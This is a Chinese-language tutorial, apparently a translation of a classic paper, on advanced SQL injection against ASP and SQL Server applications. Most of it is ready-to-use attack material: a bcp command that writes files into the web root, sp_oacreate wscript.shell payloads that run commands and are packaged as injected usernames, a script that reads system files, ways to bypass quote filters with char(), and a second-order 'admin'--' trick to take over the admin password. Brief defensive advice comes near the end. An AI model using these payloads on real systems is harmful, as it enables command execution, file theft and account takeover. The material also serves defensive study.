[利用BCP创建文本文件]
利用和'bulk insert'作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具'bcp'('bulk copy program'),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。
命令行格式如下:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'S'参数是要运行查询的服务器,'U'参数是用户名,'P'是密码,这里的密码是'foobar'。
[SQL-Server 里的ActiveX自动脚本]
SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows scripting host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。
下面提供一些例子来说明:
1)这个例子用'wscript.shell'对象创建一个notepad的实例(当然这里也可以是任何命令行命令)
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
在我们的例子里可以使用这样的用户名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)这个例子用'scripting.filesystemobject'对象去读已知的文本文件:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3)下面的例子创建一个asp脚本执行任意命令:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '
需要注意的很重要的一点是Windows NT4,IIS4平台asp脚本将会以'system'的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。
4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用'speech.voicetext'(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL Server说话:
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
这当然也可以在我们的例子里使用,通过指定下面的'username'(注意例子不只是注入一段脚本,同时也以'admin'的身份登陆了程序)
用户名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[存储过程]
传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。
本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。
一个有用的规则是:
1. 如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。
2. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。
明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。
为了说明存储过程查询的注入,运行下面的SQL语句:
sp_who '1' select * from sysobjects
或者
sp_who '1' ; select * from sysobjects
任何附加语句在存储过程执行后还是可以执行。
[高级Sql注入]
一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。
在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。
[没有符号的字符串]
有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的'replace'函数:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除';'字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。
如果攻击者希望创建一个字符串值而不使用引号,他们可以用'char'函数。例如:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
它是一个往表里插入字符的不带引号的查询语句。
当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行:
insert into users values( 667,
123,
123,
0xffff)
因为SQL-Server自动将数值型的转换成'varchar'类型,类型转换是默认的。
[SQL二次注入]
即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。
比如,一个攻击者可能通过注册,创建一个用户名
Username: admin'--
Password: password
程序正确的过滤了单引号,'insert'语句如下:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
设置新密码的查询语句可能这样写的:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")是登陆的查询返回的的用户名。
用户名为admin'--,上面的查询就变成了这样:
update users set password = 'password' where username = 'admin'--'
因此攻击者可以通过注册了一个名叫admin'--的用户来把admin的密码改成他们自己的。
这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况:
O'Brien
从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。
即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如:
if ( not isValied( "email", request.querystring("emil") ) ) then
response.end
或者其他的方法
延伸阅读:
PHP+SQL注入式攻击专题连载
一些容易被忽略的SQL注入技巧
SQL注入攻击的种类和防范手段
Mysql手工注入语句(站长推荐)
一个登陆注入小示例
MySQL中SQL的单字节注入与宽字节注入